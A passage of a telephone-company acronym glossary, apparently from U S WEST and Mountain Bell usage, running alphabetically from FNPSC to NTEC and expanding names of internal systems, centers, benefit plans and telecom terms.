FNPSC              Fundamental Network Planning Support Center
FOC (2)            Firm Order Commitment
		   Frame Operations Center
FORTRAN            Formula Translator
FP                 Full Duplex
FPC                Financial Planning Council
FPC-M              Facility Planning Current-Mechanized
FPDB               Fundamental Planning Data Base
FPM                Fundamental Planning Mechanization
FPM/NPS            FPM/Network Planning System
FPP                Flexible Payment Plan
FPS                Facility Planning System
FPSC               Facility Planning, Scheduling, and Coordination System
FPWS               Facility Planning Work Station
FR                 Financial Report
FRAMEMAPS          FRAME Monitoring And Planning System
FRAMES/MAPS        FRAME/Management And Planning System
FRC                Field Reporting Codes
FRK                Finance Report Key
FROST              Force Results and Objectives System on Timeshare
FS (3)             Facility System
		   Federal Service
		   First Choice-Short Lead; No Stock Found
FSAC               Field Service Administration Center
FSC                Fleet Service Center
FSI (2)            U S WEST Financial Services, Inc.
		   Facility System Interface
FSWC               Field Service Work Center
FTMS               Foreign Tape Management System
FTS (2)            Federal Telecommunication System
		   File Transfer System
FTTC/H             Fiber To The Curb/Home
FV                 Flexible Video
FWG                Facility Work Group
FWM                Frame Work Management
FWO                Facility Work Order
FX                 Foreign Exchange
GAB                Group Access Bridging
GAC                Group Access Code
GAP (2)            Generalized Access Program
		   Gateway Applications Processor
GCR                Generic Circuit Record
GDG                Generation Data Group
GDS                Generic Dispatch System
GELDECS            Gen of Equipment Lists and Design Ensemble for
		   Costing Studies
GEM (2)            Generic Extractor Mapper
		   General Engineering Mechanization
GEMS               General Equipment Management System
GENJCL             Generate Job Control Language
GENMAX             Maximum Generations
GES                Government and Education Services
GHz                Gigahertz
GIGABYTE           One Billion Bytes
GIGO               Garbage In, Garbage Out
GL                 General Letter
GLIP               Group Life Insurance Policy
GMD                Guideline for Managerial Development
GOC                Use TIRKS-GOC
GOLD               General On-Line Documentation
GOMOU              Goldphone Minutes of Use
GOSS (2)           Generic Operations Support System
		   Government Operations Support System
GPO                Graphics Performance Option
GS                 Ground Start
GSA                General Services Administration
GSC                Government Service Center
GTE                Generalized Trace Facility
GTP                Generalized Trade Product
GTT                Global Title Translation
GUARDS-MAN         Guidelines and Rules for Data System Management
GULP               Generic Utility Program
HAG                HECIG Analysis Guide
HAP                Health Assistance Program
HASS               Health and Safety System
HC                 High Capacity
HC3                Health Care Cost Containment
HCC                House Cable Count
HCCD               Hub Cross-Connect Device
HCDS               High Capacity Digital Service
HCO                Held Circuit Order
HCOM               Host Communication Facility for FLEXCOM
HCP                Health Care Plan
HCS                Health Care Services
HCTDS              High Capacity Terrestrial Digital Service
HDAM               Hierarchic Direct Access Method
HDLC               High Level Data Link Control
HECI               Human Equipment Catalog Item Code
HECIG              Human Equipment Catalog Item Code Group
HEMT               High Electron-Mobility Transistor
HERTZ              Cycles per Second
HFCC               High Capacity Facility Control Center
HIA                Host Interface Adapter
HIDAM              Hierarchic Indexed Acess Method
HIP                Health Incentive Plan
HISAM              Hierarchic Indexed Sequential Access Method
HLI                Hekimian
HML                Hunting-Multiline Group Number
HMLAR              Hunting-Multiline Group Assignment Request
HMO                Health Maintenance Organization
HO                 Held Order
HOBIC              Hotel Billing Information Center
HOBIS              Hotel Billing Information System
HOBIS NO. 1        No. 1 Hotel Billing Information System
HOBIS/CCRS 1       No. 1 Hotel Billing Information System/Centralized
		   Credit/Refund
HOLC               High Level Data Link Control
HPE                Human Performance Engineering
HPF                Hunting-Preferential List
HPM                Hardware Problem Memo
HPS                Home and Personal Services
HR (2)             Held Regrade
		   Human Resources
HRA                Human Resources Assessment
HRBE               Human Resources Benefit Enrollment
HRBIS              Human Resources Benefits Information System
HRD                Human Resources Development
HRDA               Human Resources Data Administration
HRIS               Human Resources Information System
HRS                Human Resources System
HSAM               Hierarchic Sequential Access Method
HSM                Hierarchical Storage Manager
HSSDS              High Spped Switched Digital Service
HSZ                Hunting List Size
HT                 Holding Time
HV                 High Volume
HVAC               Heating, Ventilating and Air Conditioning
HYPERTEXT          The Concept of Calling up Non Sequential Text from
		   Memory
Hz                 Hertz (frequency unit-formerly cycles per second)
I&M                Installation/Maintenance
I/O                Input/Output
IA                 Invoice Administration
IABS               Integrated Access Billing System
IAD                Inventory Available Date
IADS               Integrated Administrative Data System
IAM                Initial Address Message
IB                 Illness Benefits
IBEW               International Brotherhood of Electrical Workers
IBI                Item Balance Integrity
IBIS               Installed Base Information System
IBM                International Business Machine Corporation
IBP                Integrated Business Plan
IC (7)             Information Center
		   InterLATA Carrier
		   InterLATA Customer
		   Interstate Customer
		   Image Copy
		   Integrated Circuit
		   Interexchange Carrier (or IEC)
IC/IEC             Interexchange Carrier
ICABS              Interexchange Carrier Access Billing System
ICAC               Intercompany Contract Administration Center
ICAL               Interexchange Carrier Access Line
ICAN               Individual Circuit Analysis
ICAPP              Interexchange Customer Access Planning & Provisioning
ICATS              Integrated Control And Tracking System
ICB                Individual Case Basis
ICC                Installation Control Center
		   International Communications Center
ICCATA             Interexchange Carrier Calling Card and Third
		   Number Set
ICCATS             Interexchange Carrier Calling Card and Third
		   Number Set
ICCM               Interexchange Carrier Coordination Management
ICD                ITCAP Cost Data Base
ICFP               Interoffice Circuit Forecast Processor
ICH                International Call Handling
ICIS               Investment and Cost Information System
ICIS/FA            Investment and Cost Information System/Functional
		   Accounting
ICL (2)            Inserted Connection Loss
		   Insertion Connection Loss
ICO (2)            Independent Company Office
		   Independent (Telephone) Company
ICOCS              Use TIRKS-ICOCS
ICONN              InterCONNections
ICONS              Independent Telco Network Data Base
ICP                Interoffice Circuit Provisioning
ICPRG              Interexchange Customer Provisioning Relations Group
ICRIS              Inquiry CRIS
ICS (2)            Interexchange Carrier Services
		   Internal Communications Service
ICSC (2)           Interexchange Carrier Service Center
		   Interexchange Customer Service Center (now ARIS)
ICUR               Individual Circuit Usage Recorder
ID (2)             Idaho
		   Identification
IDA (2)            Integrated Digital Access (British Version of ISDN)
		   Interface Drawing Administration
IDB                Invoice Derived Billing
IDC (3)            Information Distribution Company
		   Interest During Construction (see AFUDC)
		   Intermediate Distribution Center
IDD                Incidental Directory Delivery
IDDD               International Direct Distance Dialing
IDEAE              Integrated Digital Economic Analysis Evaluator
IDEAS              Integrated Digital Engineering and Analysis System
IDF                Intermediate Distribution Frame
IDLC               Integrated Digital Loop Carrier
IDP                InterDepartmental Practices
IDPC               Investment Deployment Planning Center
IDS (2)            Inter-Departmental System
		   Information Delivery Services
IEC (2)            Interexchange Carrier (or IC)
		   Interexchange Company
IEEE               Institute for Electrical and Electronic Engineers
IEOCS              Use TIRKS-IEOCS
IESC               Installation Engineering Support Center
IFAMS (2)          Integrated Force Administration Management System
		   Integrated Force Administration Mechanization System
IFC                Installed First Cost
IFCPC              Interoffice Facilities/Equipment Current Planning
		   Center
IFE                Interoffice Facilities Engineering
IFEC               Interoffice Facilities Engineering Center
IFFAS              Integrated Force And Facilities Administrative System
IFIN               Integrated Financial Information Network
IFPC               Interoffice Facilities/Equipment Planning Center
IFPS               Interactive Financial Planning System
IFRPS              Integrated Facility Relief Planning System
IFS                (CAE) Interoffice Facility System
IIC                Inventory Information Center
IJS                Incorporated Journal System
ILEC               Independent Local Exchange Carrier
IM (2)             Interdepartmental Manual
		   Intermediary Marketing
IMA                Ineffective Machine Attempts
IMAC               Interdepartmental Mechanization Advisory Council
IMC                Combined Loop Installation and Maintenance Center
IMF                IMS Monitoring Facility
IMPAC (2)          Intermediary Markets Pricing Analysis Center
		   Integrated Mechanization Planning And Coordination
IMS (2)            Information Management System
		   IBM Data Base Management System
IMSA               Inc-Cost, MTR, Soccer, Ad-hoc
IMTS               Improved Mobile Telephone Service
IN                 INside Wire
INA                Integrated Network Access
INACC              Interexchange Network Access Capacity Coordinator
INE                Intelligent Network Element or Equipment
INESS              Integrated Network Engineering Support System
INETS              Interim National Emergency Telecommunications System
INFO               Information
INFORM             Machine Installation and Report Dispatch
INOS               Interactive Network Optimization System
INS                Information Network System(Japanese Version of ISDN)
INT                U S WEST International, Inc.
INTEC              In-house Training and Education Courses
INTELSAT           International Telecommunications Satellite Consortium
INTF               INE Interface Requirements
INWATS             Inward Wide Area Telephone Service
IOC (3)            Interactive Operations Center
		   International Operating Center
		   Inter-Office Channel
IOS                Inventory Order System
IOTC               International Originating Toll Center
IP                 Information Provider
IPAC               Interactive Planning and Control
IPASS              IMS Performance And Software Support
IPC (2)            Internal Profit Center
		   Integrated Planning Council
IPCP               Installation Product Costing System (FA)
IPL                Initial Program Load
IPOC (2)           Individual Point of Contact
		   Interexchange Point of Contact
IPMU               Information Provider Market Unit
IPRILOG            Interim Primary Recovery Log Data Set Record
IPRIOLDS           Interim Primary Online Log Data Set Record
IPRISLDS           Interim Primary System Log Data Set Record
IPS (2)            Integrated Provisioning System
		   Informaiton Provider Services
IPSC               Information Provider Service Center
IR                 Incoming Register
IRA                Individual Retirement Account
IRCC               Inter Rate Center Channel
IRIS               Integrated Revenue Information System
IRLM               IMS/VS Resource Lock Manager
IRM                Information Resource Management
IRR                Internal Rate of Return
IRRS               Interactive Request and Retrieval System
IS                 Interfering Station
ISAM               Indexed Sequential Access Method
ISBS               Information Systems Billing System
ISC                Intercompany Service Coordination
ISCP               Intercompany Services Coordination Plan
ISCS               Information System Career Structure
ISD                Information Systems Development/Designer
ISDN               Integrated Services Digital Network
ISECLOG            Interim Secondary Recovery Log Data Set Record
ISECOLDS           Interim Secondary Online Log Data Set Record
ISECSLDS           Interim Secondary System Log Data Set Record
ISI (2)            U S WEST Information Systems, Inc.
		   Industry Standard Interface
ISMX               Integrated Sub-Rate Data MultipleXer
ISO (4)            Information Service Organization
		   Information Systems Operations
		   Information Systems Organization
		   International Standards Organization
ISP                Information Service Providers
ISPF (2)           Interactive System Productivity Facility
		   Interactive System Productivity Function
ISPS               International Service Position System
ISRC               Information Services Resource Center In Source
ISS                Information Systems Support Issue Number
ISSC (2)           Interfunctional Special Service Coordination
		   Interfunctional Special Services Coordinator
ISSD               Information Systems Services Department
ISSI               Inter-Switching System Interface
ISSN               Integrated Special Services Network
ISUP               Integrated Services (Digital Network) User Port
		   Integrated Services Digital User Port
ITC                Independent Telephone Company
ITCAP              Integrated Task Oriented Costing Based Analysis
		   Program
ITDPL              International Telephone Directory Price List
ITORP              Renamed ORP
IT-S               Information Technology Services
ITS (4)            Integrated Terminal Sharing
		   Integrated Terminal Strategy
		   Integrated Test System
		   Information Technologies Services
ITSO               Incoming Trunk Service Observing
ITV                Intermediary Transport Vendor
IUMC               Investment Utilization Management Center
IW                 Inside Wire
IWC                INWATS Coordinator
IX                 Interexchange
JAS                Job Administration System
JCL                Job Control Language
JCR                Job Content Review
JCSAN              Joint Chiefs of Staff Alerting Network
JEP                Jeopardy Report
JES                Job Entry Subsystem
JFC                Job Function Code
JIC                Journal Information Center
JMX                Jumbo-Group Multiplex
JS                 Job Scheduler
JSAM               JES Spool Access Method
JSC                Job Status Code
JTC                Job Title Code
K                  Computer Storage Unit, 1,024 bytes
kbps               kilobits per second (1,000 bps)
KCJO               Keep Cost Job Order
KCO                Keep Cost Order
KCRO               Keep Cost Routine Order
KD                 Keyboard Display
KDP                Keyboard Display Printer
KEI                U S WEST Knowledge Engineering, Inc.
KF                 Cancel First Choice
KILOBIT            One Thousand Bits
Khz                Kilohertz (1,000 Cycles Per Second)
KSDS               Key Sequenced Data Set
KSR                Keyboard Send-Receive set
KTS                Key Telephone System
KTU                Key Telephone Unit
L&B                Land and Buildings
LAC (2)            Loop Assignment Center
		   Location Access Code
LACC               Live Accounts Collection Center
LACSS              Loop Assignment Center-Special Services
LADS               LATA Analysis Date System
LADT               Local Area Data Transport
LAG                Loop Assignment Guide
LAM                Loop Assignment and Make-up Date
LAMA               Local Automatic Message Accounting
LAMA-C             Local Automatic Message Accounting-Computerized
LAMS               Lease Administration Management System
LAN                Local Area Network
LAP                Link Access Procedure
LAPB               Link Access Procedure Balanced
LAPD               Link Access Procedure - D
LASER              Light Amplifications by Stimulated Emission of
		   Radiation
LASS (2)           Local Alarm Scanning System
		   Local Area Switching Service
LATA (2)           Local Access Transport Area
		   Local Access and Transport Area
LATAWATS (2)       Local Access and Transport Area Wats Provide
		   Input-Reprice WATS By LATA
LATIS              Loop Activity Tracking Information System
LATS               Line Access Test System
LB                 Use L&B
LBI                Load Balance Index
LBL                Local Business Line
LBO                Line Build Out
LBRV               Low Bill Rate Voice
LBS (2)            Load Balance System
		   Large Business Services
LC                 Local Channel
LCA                Local Calling Area
LCAMOS (PRED)      Loop Cable Administration And Maintenance
		   Operations Systems/Predictor
LCAMOS (TRACKER)   Loop Cable Administration & Maintenance
		   Operations System
LCAP               Loop Carrier Analysis Program
LCAS               Local Customer Administration System
LCCD               Local Cross Connect Device
LCCS               Least Cost Carrier Selection
LCD                Liquid Crystal Display
LCIE               Lightguide Cable Interconnect Equipment
LCRIS              Loop Cable Record Inventory System
LDBM               Listing Data Base Maintenance
LDBMC              LMOS Data Base Maintenance Center
LDC                Local Distribution Channel
LDI                Laboratory Design Information
		   (A Release Letter)
LDSX               Loop Digital System Cross Connect
LE                 Line Equipment
LEASE              Lease Administration-Equipment
LEC                Local Exchange Carrier
LED                Light Emitting Diode
LEIM               Loop Electronics Inventory Module
LEIP               Loop Electronics Inventory Program
LEIS               Loop Engineering Information System
LEN                Line Equipment Number
LENS               Line Equipment Numbers
LEPAC              Lead Partical Entrapment Compound
LERG               Local Exchange Routing Guide
LET                Line Equipment Transfer
LEWIS              Loop Electronics Warehouse & Installation Service
LF                 Load Factor
LFACS              Loop Facilities Assignment and Control System
LFAS               Loop Feeder Administration System
LFE                Loop Facility Engineer
LHT                Last Hunt Terminal
LIDB               Line Information Data Base
LIFECOST           Life-Cycle Cost Study System
LIFMOD-V3          Life-Cycle Model-Version 3
LIFO               Last In First Out
LILA               Left-In Loop Administration
LIMCO              Traffic Service Position System (TSPS)
		   Limiting Component
LIPMOD             Labor Input Productivity Model
LIRA               Left-In Resource Administration
LL (3)             Long Lines
		   Loaded Loop
		   Long-Lead Connect
LLF                Line Link Frame
LMCC               Local Maintenance Control Center
LMCS               Land Mobile Communications Satellite
LMOS               Loop Maintenance Operation System
LMOS/MLT           Loop Maintenance Operations System/
		   Mechanized Loop Testing
LMS                Local Measured Service
LNAWG              Line And Number Administration Work Group
LNPC               Lata Network Planning Center
LNSA               Local Network Services Architecture
LOA                Leave Of Absence
LOB                Lines Of Business
LOBIS              Line Of Business Information System
LOC (2)            Local Order Circuit
		   Location
LOCW               Locate, Order, Cable, Wire
LOF                Lube, Oil, and Filter
LOGALL             Log Allocation
LOIS               Location Oriented Identification System
LOMS               LAC Operations Management System
LONAL              Local Off Network Access Line
LOOP               LOcal OPtions
LOU                Letter Of Understanding
LP                 Loop Plant
LPAL               Local Public Access Line
LPC (2)            Location Processing Code
		   Loop Provisioning Center (replaces LDMC)
LPIE               Loop Plant Improvement Evaluator
LPIE2              Loop Plant Improvement Evaluator 2
LPS                Loop Start
LR                 Labor Relations
LRAP               Long Route Analysis Program
LRC                Longitudinal Redundancy Check
LRM                Line Response Monitor
LROPP              Long Range Outside Plant Plan
LRS                Lease Records System
LRSP               Local Switching Planning System
LRSS               Long Range Switching Studies
LRSS/ECON          Long Range Switching Studies/Economics
LS (2)             Loop Start
		   Local Switching
LS rate            Local Switching rate (LS1, LS1)
LSC                Local Service Curve
LSD&F              Local Switching Demand & Forecast
LSDF               Use LSD&F
LSI (2)            Large Scale Integration
		   Loop Side Interface
LSN                Lock Sequence Number
LSO                Local Serving Office
LSRP               Local Switching Replacement Planning System
LSS (2)            Loop Switching System
		   Listing Services System - Replaced DIR/ECT
LST                Line Station Transfer
LSU                Local Storage Unit
LT (2)             Local Transport
		   Location Translate Failed
LTACS              Login Tracking And Control System
LTD (2)            Long Term Disability Plan
		   Local Test Desk
LTERM              Logical Terminal
LTF                Local Transport Facility
LTNPS              Lata Traffic Network Planning System
LTOOAG             Large Team Operator Office Administrative Guide
LTROR              Large Term Rate Of Return
LTS                Lease Tracking System
LTT                Local Transport Termination
LU (2)             Large Undertaking
		   Living Unit
LUB                LEC Usage Billing
LUBPI              Living Unit Basic Address Parity Indicator
LUD                Local Usage Detail
LUID               Living Unit Identification
LUM                Line Utilization Monitor
LV                 Low Volume
LWTR               Load Work Time Record
M-NET              U S WEST Message NETwork
M/WBE              Minority/Women Business Enterprises
Ma                 Milliamperes (one thousandth of an ampere)
MA                 Monthly Analysis
MAC (2)            Machine Administration Center
		   Major Account Center
MACS               Major Apparatus and Cable System
MAD                Market Analysis Document
MADCAP             Mailing Address Computer System
MAFM               Mechanized Assignment Force Management
MAGIC              Market Analysis and Geographic Information Concept
MAIS               Mechanized Assignment and Inventory System
MALT               Monthly Accumulation Lata Toll
MAMA               Mobile Automatic Message Accounting
MAMC               Multistation Administrative Management Center
MAN                Metropolitan Area Network
MAP                Minimum Acceptable Performance
MAPPER             Maintaining, Preparing and Producing Executive
		   Reports
MAPS               Mechanized Accounts Payable System
MAPSS              Maintenance and Analysis Plan for Special Services
MAPSS C            Maintenance and Analysis Plan for Special
		   Services-Centralized
MAPSS D            Maintenance and Analysis Plan for Special
		   Services-Decentralized
MAR                Market Analysis Report
MARC (2)           Market Analysis of Revenue and Customers
		   Material Accountability Requisition Control
MARC/CAP           MARC/Customer Analytical Profile System
MARS (2)           Mechanized Applicant Record Keeping System
		   Medical Activity Reporting System
MART               Mechanized Accounts Reconcilable Team
MART-CHINA/
   VOLESS          Charging Instructions Analysis/
		   Verification Of Lines in ESS
MAS                Management Accounting Services
MASCOT             Monitoring And Appointment System By
		   Computer For OTC
MASER              Mechanized Administration Switching
		   Equipment Reports
MASS               Mechanized Allocation Study System
MASTER             Market Analysis System and Tool Evaluation
		   of Revenues
MAT (2)            Master Address File
		   Microcomputer Applications Team
MATFAP             Metropolitan Area Transmission Facility
		   Analysis Program
MATS               Mechanized Activity Tracking System
MAX                Message Automated Exchange
MA APAC            Mountain Bell Arizona Political Action
		   Committee
MBE                Minority Business Enterprises
MBE/WBE            Minority Business Enterprise/Women
		   Business Enterprise
MBL                Mini-Bridge Lifter
MBTEC              Mountain Bell Training and Education Center
MC                 Maintenance Center
MC/I&M             Maintenance Center/Installation & Maintenance
MCAS               Mechanized Administration System
MCC (2)            Maintenance Control Center
		   Microelectronics And Computer Technology Corp.
		   (BCR Related)
MCCS (2)           Mechanized Calling Card Service
		   Marketing Compensation Credit System
MCCS/CCIS          Mechanized Calling Card Service/
		   Common Channel Introfc Signaling
MCEC               Mini Computer Engineering Center(Corp Level)
MCI                Microwave Communications Inc.
MCN (2)            Master/Major Customer Name
		   Master/Major Customer Number
MCO                Maintenance Control Office
MCP                (TIRKS) Mechanized Circuit Provisioning
MCR                Mechanized Change Report
MCRFMP             Mechanized Cable Repair Force Management Plan
MCS (2)            Mechanized Conversion System
		   Mutiple Console Support
MCTAP              Mechanized Cable Trouble Analysis Plan
MCTRAP             Mechanized Customer Trouble Report
		   Analysis Plan
MD                 Manufacture Discontinued
MDC (2)            Mass Data Changes (PICS/DCPR)
		   Materials Distribution Center
MDF                Main Distributing Frame
MDS (3)            Mechanized Dispatch System
		   Message Design System
		   Micrographics Documentation and Statistics
MDT                Maintenance Data Transmitter
MEBS               Marketing, Engineering and Business Services
MEBS-TEARS         Mktg, Engrg and Bus Svcs-Tfc Engrg for Auto
		   Rt Select
MEC                Maintenance Engineering Center
MECCA              Mechanized Evaluation of Call Completion
		   Anomalies
MECS               Mechanized Error Correction System
MEDA               Mechanized Equipment Assignment
MEDACS             Mechanized Data Acquisiton Service
MEDCAP             Medical Costing of Activities and Procedures
MEF                Miscellaneous Equipment Frame
MEFR               Mechanized ESS Feature Recovery
MEGABIT            One Million Bits
MEMS               (CAE) Mechanized Engineering Management System
MEP                Medical Expense Plan
MESR               Mechanized Employee Service Record
MET                Master Edit Table
MEWS               Mechanized Worksheets
MF (2)             Master File (Toll)
		   Multifrequency Signaling
MFA                MultiFunctional Access
MFD                Message Format Descriptor
MFJ                Modified Final Judgement
MFS                Metropolitan Fiber Systems, Inc.
MFT (2)            Metallic Facility Terminal
		   Multiprogramming with a Fixed number of Tasks
MG                 Marker Group
MGT                Mastergroup Translator
MI                 Minimal Input
MIC (3)            Machine Interface Code
		   Material Item Code
		   Message Investigation Center
MICA               Mechanized Intercompany Contract Administration
MICD               Marketing Intercompany Communications Directory
MICRO-VAX          DEC Micro Computer Operating System
MICRON             One Millionth of a Meter
MICS (2)           MVS Integrated Control System
		   Merino Integrated Control System
MICUP              Mechanized Interim CAROT Update Process
MIG                Mechanized Interval Guide
MIGS               Mechanized Index Generation System
MIHR               Mechanized Installation History Reporting system
MIMC               Multistate Industry Management Center
MIMIC              MTS/WATS Intrastate Model for Incremental Costs
MIN                Marine Indentification Number
MIPAT              Mechanized Invoice Processing and Asset Tracking
MIPS (2)           Millions of Instructions Per Second
		   Mechanized Information Provider Screen
MIRS               Mechanized Information Retrieval System
MIS (5)            Marketing Information System
		   Management Information Systems Division
		   Management Information System
		   (Enhanced Building System)
		   Message Investigation System
		   Mechanized Information Systems
MISC               MISC System Interfaces
MITS (2)           Mechanized Income Tax System
		   Mechanized Inventory Tracking System
MIU                Message Investigation Unit
MIZAR              A Computer System
MJC                Modular Jack Converter
MJE                Management Job Evaluation
MLAC               Mechanized Loop Assignment Center
MLGR               Multiline Non-Hunt Group Assignment Request
MLH                Multiline Hunt
MLHG               Multiline Hunt Group
MLSS               Machine Load and Service Summary
MLT                Mechanized Loop Testing
MLT II             Mechanized Loop Testing II
MLTSA              Mechanized Loop Testing/System Administration
MMA                Mechanized Loop Testing
MMAR               Monthly Machine Administrative Report
MMAS (2)           Mechanized Marketing Assignment System
		   Mini-Computer Maintenance Analysis System
MMC                Maintenance Management Center
MMCC               Multistate Maintenance Control Center
MMCS               Miscellaneous Mechanized Cost Studies
MMG                Minicomputer Maintenance Group
MMGT               MultiMasterGroup Translator
MMGT-C             MultiMasterGroup Translator for Cable
MMGT-R             MultiMasterGroup Translator for Radio
MMIS               Marketing Management Information System
MML                Man-Machine Language
MMM                Message Minute Mile Study
MMOC               Minicomputer Maintenance and Operations Center
MMOCS              Minicomputer Maintenance and Operations Center
		   System
MMPM               Marketing Methods and Procedures Mechanization
MMR                Maintenance Modification Request
MMS (2)            Marketing Measurement System
		   Memory Management System
MMUC               Minimum Monthly Usage Charge
MOBLSTAT           Mobile Statistics
MOC (2)            Minicomputer Operations Center
		   Maintenance Operations Center
MOCC               Maintenance Operations Control Center
MOCS               Mechanized Official Communications System
MODEM              MOdulator/DEModulator
MOG                Minicomputer Operations Group
MOOS               Mechanized Online Ordering System
MOOSA              Mechanized Out-Of-Service Adjustments
MOPS               Mechanized Outside Plant Scheduling System
MOR                Mini Output Reports
MORE               Marketing Operational Resource Environment
MOS                Job Management Operations System
MOSS/BAC           Marketing Operations and Support System/
		   Billing And Collection
MOST               Mobile Statistics
MOU                Minutes of Use
MOUAS              Minutes Of Use Annual Study
MOUDA              Minutes Of Use Data Acquisition
MOVIMS             Motor Vehicle Information Management System
MOVIN/STEMS        Motor Vehicles
MP                 Multi-Processing
MPAC               Mechanized Provisioning Administration Center
MPAS               Motor Poll Administrative System
MPB                Meet Point Billed
MPCB               Micro Programmable Control Board
MPCC               Multistate Provisioning Control Center
MPGP               Mechanized Pair Gain Planning
MPOP (2)           Minimum Point Of Presence
		   Main Point Of Presence
MPS (3)            Marketing Perception Survey
		   Measurement Plans System
		   Message Processing Services
MQCP               Management Quality Data Base
MQDB               Message Queue Data Base
MR (2)             Message Register
		   Modification Request
MRA                Mechanized Remittance Advice
MRC  (3)           Minicomputer Resource Center
		   Material Reclamation Center
		   Monthly Recurring Charge
MRF                Message Retention File
MRFA               Mechanized Repair Force Administration
MRR (2)            Material Return Request
		   Modification Request Resolution
MRS                Management Reporting System
MRS-TK             Message Reporting System-Trunking
MRS/MARKIV         Management Reporting System/Mark IV
MRSELS             Microwave Radio & Satellite Engineering License
MRSS               Mini-Computer Reliability Studies System
MRTS               Message Record Teleprocessing System
MRTTA              Message Recording Trunk Trouble Analysis
MS (2)             Main Station
		   Mechanized Scheduling
MSA (2)            Medical Services Advisor
		   Metropolitan Service Area
MSAC               Multistate Service Assurance Center
MSAG               Master Street Address Guide
MSAS               Multistate Service Administration System
MSC (2)            Maintenance of Service Charges
		   Multiple System Coupling
MSCC               Multistate Service Control Center
MSDOS              Disk Operating System
MSEC               Multistate Services Engineering Center
MSG (2)            Media Service Group
		   Message Trunk
MSI                Management Service Inc.
MSL/DBP            Mechanized Subscriber Line/Data Base
		   Preparation Service
MSMC               Multistate Systems Management Center
MSR                Mechanized Sales Report
MSS                MAS Support System
MST (2)            Measured Service Tracking
		   Manual Scheduled Testing
MSTIC              Mechanized Standard Time Increment Calculation
MT                 MeTallic
MTA                Mechanized Technical Analysis
MTARS              Mechanized Trunk Assignment Record System
MTAS               Mechanized Trouble Analysis System
MTBO               Mean Time Between Outages
MTC                Maintenance
MTCS               Modular Terminal Communications System
MTF (2)            Metallic Terminal Frame
		   Multi-Tasking Facility
MTL                Maximum Termination Liability
MTO                Message Trunk Orders
MTP                Message Transfer Part (SS7 Protocol)
MTPG               Mechanized Technical Planning Group
MTPS               Message Trunk Planning System
MTR                Mechanized Time Reporting
MTS (3)            Message Telecommunications Service
		   Mechanized Telephone Service
		   Message Toll Service
MTS/LATA           Message Toll Service Interlata
MTSI (2)           Message Telecommunication Service Interactive
		   Message Toll Services Index
MTSO               Mobile Telephone Switching Office
MTU                Maintenance Terminating Unit
MU                 Marketing Unit
MUC                Message Unit Credit
MUSIC              Model for Usage Sensitive Incremental Costs
MUTS               Message Unit Tracking System
MUX                Multiplexer
MVAS               Motor Vehicle Accident Summary Report
MVMCC              Motor Vehicle Maintenance Control Center
MVNF               Multi Vendor Network Facility
MVS (2)            Multiple Virtual Storage
		   Multiple Virtual System
MVS/XA             Multiple Virtual Storage/Extended Architecture
MVT                Multiprogramming with a Varied number of Tasks
MWC                Maintenance Work Center
MWC/CS             Mechanized Wire Centering/Cross Section
MWG                Maintenance Work Group
MYPS               Mechanized Yellow Pages System
McAUTO             McDonald Douglas Automation Company
NAC (2)            Network Administration Center
		   Network Access Corporation
NAC SS             Network Administration Center Support System
NADP               North American Dial Plan
NAFMAP             Network Administration Force Management
		   And Productivity
NAL                Network Access Line
NANOMETER          One Billionth of a Meter
NANP               North American Numbering Plan
NARADS             National Reuse Administration System
NARUC              National Association of Regulatory and
		   Utility Commissioners
NAS                Network Access Support
NAS/DCC            Network Administration System/Data
		   Collection Computer
NASC               Number Administration Service Center (Bellcore)
NASS               Network Administration Support System
NAWAS              National Warning System
NAWS               NORAD Attack Warning System
NB                 Narrowband
NBEC               Non-Bell Exchange Carrier
NBS                New Billing System
NBT                Northwestern Bell Technologies
NC (3)             Network Channel
		   Network Control
		   Network Controller
NCAS               Network Control
NCC (2)            Network Control Center
		   Network Channel Code
NCCF               Network Communication Control Facility
NCEO               Non-Conforming End Office
NCI                Network Channel Interface
NCIS               Nonrecurring Charge Interface System
NCO                Network Control Office
NCOSS              Network Control Operations Support System
NCP (3)            Network Control Point
		   National Control Point
		   Network Control Program
NCR STUDY          National Credit Study
NCRP               Network Cost Results Plan
NCS                Network Completion System
NCSEC              Network Common Systems Engineering Center
NCSL               New or Change Source Line
NCSR               Network Completion Study Rates
NCTA               Non-Conversion Time Additive
NCTE               Network Channel Terminating Equipment
NDBS               Network Data Base System
NDCC               Network Data Collection Center
NDO                Network Design Orders
NDS (2)            Network Data System
		   Network Distribution Services
NDT                No Dial Tone
NE/FMS             Network Engineering/Force Management System
NEBS               New Equipment Building System
NECA               National Exchange Carrier Association
NEFMS              Use NE/FMS
NEIC               Network Engineering Information Center
NEIS               Network Element Interface System
NERCE              Network Response Time and Configuration
		   Evaluation
NET                Use TIRKS-NET
NETCOMP            Network Completion System
NETS               National Emergency Telecommunications System
NFCC               Network Forecast Coordination Center
NHN                Non-Hunting Number
NI                 Network Interface
NIAC-EBS           National Indust Adv Commitee-Emergency
		   Broadcast System
NIMS               Network Information Management System
NIS                Network Interface System
NISM               Not In Service Module
NJE                Network Job Entry
NLTMOP             Network Loop Transmission Measurement and
		   Operations Plan
NM (2)             Network Management
		   New Mexico
NMA                Network Monitoring and Analysis
NMAC               Network Monitorin & Analysis Center
NMC                Network Management Center
NMCMC              Network Management Center
NMMP               Network Maintenance Management Plan
NMSS               Non-Management Staffing System
NNX                Exchange Number (Central Office Code)
NOAP               Network Operations Advisory Panel
NOC                Network Operations Center
NOCS               Network Operations Center System
NON-UG             Non-Underground
NOPC               Network Operations Planning Center
NORGEN             Network Operations Report GENeration System
NOTIS              Network Operations Trouble Information System
NPA (3)            Numerical Plan Area (Area Codes)
		   Numbering Plan Area
		   North American Numbering Plan 3 digit area code
NPC                Network Procurement Centers
NPDA               Network Problem Determination and Analysis
NPIAC              Network Plug-In Administration Center
NPIS               Network Planning Information System
NPMP               Network Performing Measurement Plan
NPMS               Network Performance Management System
NPRM               Notice of Proposed Rule Making
NPS                Network Planning System
NPSC               Fundamental Network Planning Support Center
NPV                Net Present Value
NR (2)             Network Reconfiguration
		   Non-Requested Output
NRC                NonRecurring Charge
NRCC               Network Record Coordination Center
NS-LA              NonStandard-Limited Availability
NS/EP              National Security/Emergency Preparedness
NSC                Network Service Center
NSCS               Network Service Center System
NSEC               Network Switching Engineering Center
NSEP               National Security Emergency Preparedness
NSIMC              Network Services Investment Management Center
NSLA               Use NS-LA
NSMRS              National Self Monitoring Report System
NSO                Network Service Organization
NSOT               Network & Service Operations Training
NSPC               New Services Planning Center
NSS (2)            Network Support System
		   Network Switched Services
NSS/USS            Network Support System/User Support System
NST                NonScheduled Testing
NSTAC              National Security and Telecommunications
		   Advisory Committee
NTEC (2)           Network Terminal Equipment Center
		   New Technology
